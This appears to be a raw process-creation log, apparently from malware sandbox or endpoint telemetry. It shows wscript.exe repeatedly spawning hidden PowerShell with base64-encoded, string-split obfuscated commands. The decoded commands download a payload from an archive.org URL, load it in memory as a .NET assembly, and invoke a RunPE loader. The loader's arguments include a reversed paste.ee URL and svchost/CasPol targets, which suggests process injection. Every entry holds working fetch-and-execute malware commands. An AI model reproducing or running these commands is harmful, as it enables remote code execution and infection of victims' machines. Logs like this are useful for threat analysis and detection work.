Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
